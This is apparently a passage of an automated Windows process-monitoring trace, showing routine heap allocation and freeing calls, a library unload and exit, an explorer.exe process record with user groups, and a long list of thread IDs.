	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defb30) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def8b0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def8f0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025def9f0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defbd0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defa30) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defa10) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defa50) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defc50) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defa90) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defab0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defaf0) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defb10) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.486] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defc70) returned 1
	[0256.486] GetProcessHeap () returned 0x1e025de0000
	[0256.487] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defb90) returned 1
	[0256.487] GetProcessHeap () returned 0x1e025de0000
	[0256.487] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025defcb0) returned 1
	[0256.487] GetProcessHeap () returned 0x1e025de0000
	[0256.487] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0460) returned 1
	[0256.487] GetProcessHeap () returned 0x1e025de0000
	[0256.487] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df05c0) returned 1
	[0256.487] GetProcessHeap () returned 0x1e025de0000
	[0256.487] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0340) returned 1
	[0256.487] GetProcessHeap () returned 0x1e025de0000
	[0256.487] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df00c0) returned 1
	[0256.487] GetProcessHeap () returned 0x1e025de0000
	[0256.487] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df04e0) returned 1
	[0256.488] GetProcessHeap () returned 0x1e025de0000
	[0256.488] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df06a0) returned 1
	[0256.488] GetProcessHeap () returned 0x1e025de0000
	[0256.488] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0120) returned 1
	[0256.488] GetProcessHeap () returned 0x1e025de0000
	[0256.488] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df06c0) returned 1
	[0256.488] GetProcessHeap () returned 0x1e025de0000
	[0256.488] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0260) returned 1
	[0256.488] GetProcessHeap () returned 0x1e025de0000
	[0256.488] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0480) returned 1
	[0256.488] GetProcessHeap () returned 0x1e025de0000
	[0256.488] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df04c0) returned 1
	[0256.488] GetProcessHeap () returned 0x1e025de0000
	[0256.488] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0160) returned 1
	[0256.488] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0760) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df04a0) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0400) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0200) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0560) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df02e0) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0500) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0520) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df06e0) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0220) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df05e0) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0320) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0100) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df03a0) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0300) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0700) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df03c0) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0540) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0420) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df01e0) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0580) returned 1
	[0256.489] GetProcessHeap () returned 0x1e025de0000
	[0256.489] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df00e0) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df05a0) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0240) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0360) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0600) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0780) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df03e0) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0280) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0620) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0140) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0180) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df00a0) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0640) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df07c0) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df07a0) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0660) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df02a0) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0680) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0720) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0060) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df07e0) returned 1
	[0256.490] GetProcessHeap () returned 0x1e025de0000
	[0256.490] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df02c0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0740) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df01a0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0080) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df01c0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0380) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0440) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0f70) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0a50) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0e90) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0e30) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0ef0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0970) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0eb0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0c30) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0870) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0bf0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0c10) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0f50) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0ed0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0fb0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0db0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0910) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0b10) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.491] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0ad0) returned 1
	[0256.491] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0e50) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0d70) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0a70) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0f10) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0df0) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0c50) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0c70) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0890) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0f30) returned 1
	[0256.492] GetProcessHeap () returned 0x1e025de0000
	[0256.492] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df0a90) returned 1
	[0256.492] FreeLibrary (hLibModule=0x7ff843d70000) returned 1
	[0256.492] exit (_Code=0) 

Thread:
	id = 221
	os_tid = 0xef4


Thread:
	id = 222
	os_tid = 0xef8


Thread:
	id = 223
	os_tid = 0xf1c

	[0256.325] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1e025e38980
	[0256.325] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1e027d94780
	[0256.325] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1e027d94d80
	[0256.326] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1e025e42720
	[0256.326] LocalFree (hMem=0x1e025e38980) returned 0x0
	[0256.326] LocalFree (hMem=0x1e025e42720) returned 0x0
	[0256.326] LocalFree (hMem=0x1e027d94d80) returned 0x0
	[0256.326] LocalFree (hMem=0x1e027d94780) returned 0x0

Thread:
	id = 224
	os_tid = 0xf24

	[0256.316] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1e025e4c800
	[0256.316] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1e027d944b0
	[0256.316] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x1e025e42fd0
	[0256.316] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1e025e41950
	[0256.316] LocalReAlloc (hMem=0x1e025e42fd0, uBytes=0x20, uFlags=0x2) returned 0x1e025e08270
	[0256.317] LocalFree (hMem=0x1e025e4c800) returned 0x0
	[0256.317] LocalFree (hMem=0x1e025e41950) returned 0x0
	[0256.317] LocalFree (hMem=0x1e025e08270) returned 0x0
	[0256.317] LocalFree (hMem=0x1e027d944b0) returned 0x0

Thread:
	id = 225
	os_tid = 0xf38


Process:
	id = "26"
	image_name = "explorer.exe"
	filename = "c:\\windows\\explorer.exe"
	page_root = "0x31f38000"
	os_pid = "0xa40"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "rpc_server"
	parent_id = "12"
	os_parent_pid = "0x560"
	cmd_line = "C:\\WINDOWS\\Explorer.EXE"
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a240" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 226
	os_tid = 0xf44


Thread:
	id = 227
	os_tid = 0x5e0


Thread:
	id = 228
	os_tid = 0x85c


Thread:
	id = 229
	os_tid = 0x1a0


Thread:
	id = 230
	os_tid = 0x8e8


Thread:
	id = 231
	os_tid = 0xb5c


Thread:
	id = 232
	os_tid = 0xb28


Thread:
	id = 233
	os_tid = 0x9c0


Thread:
	id = 234
	os_tid = 0xae8


Thread:
	id = 235
	os_tid = 0x2c8


Thread:
	id = 236
	os_tid = 0xaa0


Thread:
	id = 237
	os_tid = 0x93c


Thread:
	id = 238
	os_tid = 0x934


Thread:
	id = 239
	os_tid = 0xbc4


Thread:
	id = 240
	os_tid = 0xbc0


Thread:
	id = 241
	os_tid = 0xbac


Thread:
	id = 242
	os_tid = 0xba8


Thread:
	id = 243
	os_tid = 0xba4


Thread:
	id = 244
	os_tid = 0xba0


Thread:
	id = 245
	os_tid = 0xb9c


Thread:
	id = 246
	os_tid = 0xb98


Thread:
	id = 247
	os_tid = 0xb94


Thread:
	id = 248
	os_tid = 0xb8c


Thread:
	id = 249
	os_tid = 0xb84


Thread:
	id = 250
	os_tid = 0xb78


Thread:
	id = 251
	os_tid = 0xb70


Thread:
	id = 252
	os_tid = 0xb64


Thread:
	id = 253
	os_tid = 0xb44


Thread:
	id = 254
	os_tid = 0xb34


Thread:
	id = 255
	os_tid = 0xb30


Thread:
	id = 256
	os_tid = 0xb28


Thread:
	id = 257
	os_tid = 0xb1c


Thread:
	id = 258
	os_tid = 0xb18


Thread:
	id = 259
	os_tid = 0xb14


Thread:
	id = 260
	os_tid = 0xadc


Thread:
	id = 261
	os_tid = 0xad8


Thread:
	id = 262
	os_tid = 0xad4


Thread:
	id = 263
	os_tid = 0xacc


Thread:
	id = 264
	os_tid = 0xac0


Thread:
	id = 265
	os_tid = 0xa98


Thread:
	id = 266
	os_tid = 0xa94


Thread:
	id = 267
	os_tid = 0xa90


Thread:
	id = 268
	os_tid = 0xa8c


Thread:
	id = 269
	os_tid = 0xa88


Thread:
	id = 270
	os_tid = 0xa84


Thread:
	id = 271
	os_tid = 0xa80


Thread:
	id = 272
	os_tid = 0xa7c


Thread:
	id = 273
	os_tid = 0xa6c


Thread:
	id = 274
	os_tid = 0xa64


Thread:
	id = 275
	os_tid = 0xa60


Thread:
	id = 276
	os_tid = 0xa5c


Thread:
	id = 277
	os_tid = 0xa44


Thread:
	id = 280
	os_tid = 0xf74


Thread:
	id = 281
	os_tid = 0xf78


Thread:
	id = 282
	os_tid = 0xf7c


Thread:
	id = 283
	os_tid = 0xf80